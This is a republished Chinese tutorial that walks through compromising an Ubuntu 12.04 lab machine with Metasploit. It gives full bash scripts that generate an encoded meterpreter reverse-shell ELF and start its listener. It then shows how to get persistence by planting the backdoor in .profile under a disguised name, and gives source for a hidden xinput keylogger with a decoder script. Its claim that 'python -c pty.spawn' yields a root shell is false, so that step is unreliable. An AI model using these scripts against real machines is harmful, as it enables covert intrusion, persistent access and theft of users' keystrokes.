Metasploit渗透Ubuntu 12.04攻击测试演练

这篇文章写来主要是一次娱乐性的练习。共享出攻击的细节,其中包括一些经过原作者修改过的各种来源的脚本文件。渗透的过程不是重点,之所以发出来最大的原因主要是文章后半部分维持持久化攻击的一些地方还是很值得学习的,顺便大家也可以再次熟悉一下MSF框架。希望对大家有所帮助。

攻击环境:

Ubuntu12.04LTS 32bit(靶机,默认的软件安装配置)

VirtualBox

Metasploit framework(最新版)

Debian Squeeze 64bit (攻击机)

首先,我们先准备一个简单的二进制ELF可执行文件生成器的bash脚本,这样后续工作就可以轻松很多。然后将脚本放在Metasploit的主目录下:

  1. #!/bin/bash  
  2. clear  
  3. echo"************************************************"  
  4. echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT    *"  
  5. echo"************************************************"  
  6. echo -e "What IP are we gonna use  ex. 192.168.0.1?  \c"  
  7. read IP  
  8. echo -e "What Port Number are we gonnalisten to? : \c"  
  9. read port  
  10. ./msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf-e x86/shikata_ga_nai >> Executive  
  11. echo "Executive binarygenerated.."  
  12. chmod u=rwx Executive  
  13. ls -la Executive 

运行脚本之后进行简单的配置之后我们就有了一个名为Executive的二进制可执行文件。

接下来需要我们在攻击机上启动一个监听来等待靶机主动连上来,因为我们这里使用了全球流行的reverse后门哇咔咔!为了工作更加简(zhuang)单(bi),我这里又写了一个bash,然后将bash文件也放在Metasploit的主目录下面:

  1. #!/bin/bash  
  2. clear  
  3. echo"*********************************************"  
  4. echo "   METASPLOIT LINUX METERPRETER LISTENER    *"  
  5. echo"*********************************************"  
  6. echo "Here is a network device listavailable on yor machine"  
  7. cat /proc/net/dev | tr -s  ' ' | cut -d ' ' -f1,2 | sed -e '1,2d'  
  8. echo -e "What network interface are wegonna use ?  \c"  
  9. read interface  
  10. echo -e "What Port Number are we gonnalisten to? : \c"  
  11. read port  
  12. # Get OS name  
  13. OS=`uname`  
  14. IO="" # store IP  
  15. case $OS in  
  16.   Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print$1}'`;;  
  17.    *)IP="Unknown";;  
  18. esac  
  19. echo "      starting the meterpreter listener.."  
  20. ./msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=$IP LPORT=$port  E 

好了,监听生成结束,然后就需要我们使用各种猥琐的方式将后门木马转给Ubuntu靶机执行。因为这里是练习,所以我们直接将ELF文件放在受害机中执行

此处有图胜有声

现在我们就已经在靶机上成功执行了这个“未知”的二进制文件。当我们双击这个文件时没有任何反应(所以这个时候后门注入才是王道),不过我们的攻击机上的监听已经有了结果:

然后呢?我们现在有了一个meterpreter shell,不过应该怎样获取到root权限呢?接下来的工作才是最有趣的部分:接下来,我们将在靶机的home中放一个后门文件,并通过修改.profile文件做到每次靶机启动的时候都会执行我们的后门。为了做到这步,我们首先需要下载靶机的.profile文件:

我们在文件中加了一点点内容以保证每次登录都能成功执行我们的后门文件,这里加的是./executive(用的就是生成的后门文件名,这里我们可以起一些诱惑性大的名字比如sys.conf之类的,但是要保证文件具有可执行+x权限)

然后我们将修改后的.profile文件传回靶机

接着我们上传我们的ELF二进制可执行文件到靶机的home目录里面,并改名为executive同时要保证文件具有RWX属性

 

那么现在我们就获得了一个简单的持久性后门,每次靶机开机我们这边就可以获得一个上线shell,并且文件时静默执行不含任何防腐剂的。

好的,第一步持久化我们已经完成了,接下来我们做点什么呢?#p#

键盘记录

Ubuntu自带xinput所以我们可以利用这个做一个键盘记录keylogger记录靶机在X界面下的一些按键输入。同时这里作者又写了一bash脚本(……):

  1. #!/bin/bash  
  2. export DISPLAY=:0.0  
  3. xinput list  
  4. echo -e "KBD ID ?"  
  5. read kbd  
  6. xmodmap -pke > /tmp/.xkey.log  
  7. script -c "xinput test $kbd" |cat >> /tmp/.xkey.log &  
  8. echo "The keylog can be downloadedfrom /tmp/.xkey.log"  
  9. echo "Use the meterpreter downloadfunction"  
  10. echo "Press CTLR+C to exit thissession, keylogger will run in backround" 

写完之后我们将脚本放在靶机中然后执行。当然最好也来个登录启动。

启动之后我们还需要手工找到键盘的KBD ID,然后输入,这里是10

然后让脚本去识别一下。脚本记录的log文件默认是放在/tmp文件夹下的,一段时间之后,我们下载下来分析一下。

这个脚本的生成的内容地球人是看不懂的,所以我们将log文件down下来之后还需要进行接下来的处理,这里作者写了一个bash文件生成了一个python脚本来解码这段天书log(…),下面是解码的bash脚本:

  1. #!/bin/sh  
  2. cat .xkey.log | grep keycode >xmodmap.pke  
  3. cat .xkey.log | grep 'key p' > xlog  
  4. rm -f .xkey.log  
  5. #Generating some Python to do the decoding  
  6. echo 'import re, collections, sys' >decoder.py  
  7. echo 'from subprocess import *' >>decoder.py  
  8. echo 'def keyMap():' >> decoder.py  
  9. echo '  table = open("xmodmap.pke")' >> decoder.py  
  10. echo '  key = []' >> decoder.py  
  11. echo '  for line in table:' >> decoder.py  
  12. echo "      m = re.match('keycoded+) = (.+)',line.decode())" >> decoder.py  
  13. echo '     if m and m.groups()[1]:' >> decoder.py  
  14. echo '        key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])'>> decoder.py  
  15. echo '  return key' >> decoder.py  
  16. echo 'def printV(letter):' >>decoder.py  
  17. echo '     key=keyMap();' >> decoder.py  
  18. echo '     for i in key:' >> decoder.py  
  19. echo '              if str(letter) ==i.split("_____")[1]:' >> decoder.py  
  20. echo '                     return i.split("_____")[0]'>> decoder.py  
  21. echo '     return letter' >> decoder.py  
  22. echo 'if len(sys.argv) < 2:>>decoder.py  
  23. echo '        print "Usage: %s FILE" %sys.argv[0];' >> decoder.py  
  24. echo '        exit();' >> decoder.py  
  25. echo 'else:' >> decoder.py  
  26. echo '        f = open(sys.argv[1])' >>decoder.py  
  27. echo '        lines = f.readlines()' >>decoder.py  
  28. echo '        f.close()' >> decoder.py  
  29. echo '        for line in lines:' >> decoder.py  
  30. echo "                m = re.match('keyss +(\d+)',line)" >> decoder.py  
  31. echo '                if m:' >> decoder.py  
  32. echo '                          keycode =m.groups()[0]' >> decoder.py  
  33. echo '                          print(printV(keycode))' >> decoder.py  
  34.    
  35. echo 'Please see LOG-keylogger for theoutput......'  
  36. python decoder.py xlog > LOG  
  37. sed ':a;N;$!ba;s/\n/ /g' LOG >LOG-keylogger  
  38. rm -f LOG  
  39. rm -f xmodmap.pke  
  40. rm -f decoder.py  
  41. rm -f xlog  
  42. cat LOG-keylogger 

现在我们运行一下这个bash脚本,我们就可以看到效果了:

好,keylogger也搞完了接下来就是怎么样获取到root权限了。#p#

获取root权限

在这里,因为我们的后门不是root执行的所以当我们执行sudo su的时候是会报错的

这里有一个绕过的好方法,就是利用自带的python来获取一个root shell(如果仔细看过我之前科学渗透那篇文章的同学应该记得这个trick):

python -c “import pty;pty.spawn(‘/bin/bash’)”

这样我们就成功获取到了一个root级别的shell,整个过程就完满完成了。

后记

CentOS, Debian Squeeze等有些系统默认是不带xinput的所以keylogger的部分就没办法完成了。

另外,要想防止这个键盘记录其实也很简单,只要去掉xinput的可执行权限就可以了

chmod a-x /path/to/xinput

当然,即便是目标机器上没有自带xinput那难道就会难倒我们么?拜托我们都已经有了meterpreter shell了好么。

最后附上作者做的良心的视频Demo(已搬回墙内,不谢!):

高清视频请自行下载:http://pan.baidu.com/s/1jGpAVWE

有梯子的土豪点这里:http://www.youtube.com/embed/_k_DtYhIOpY

[文/FreeBuf小编xia0k 参考来源:astr0baby.wordpress.com

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/152147.html<

(0)
运维的头像运维
上一篇2025-03-13 21:11
下一篇 2025-03-13 21:13

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注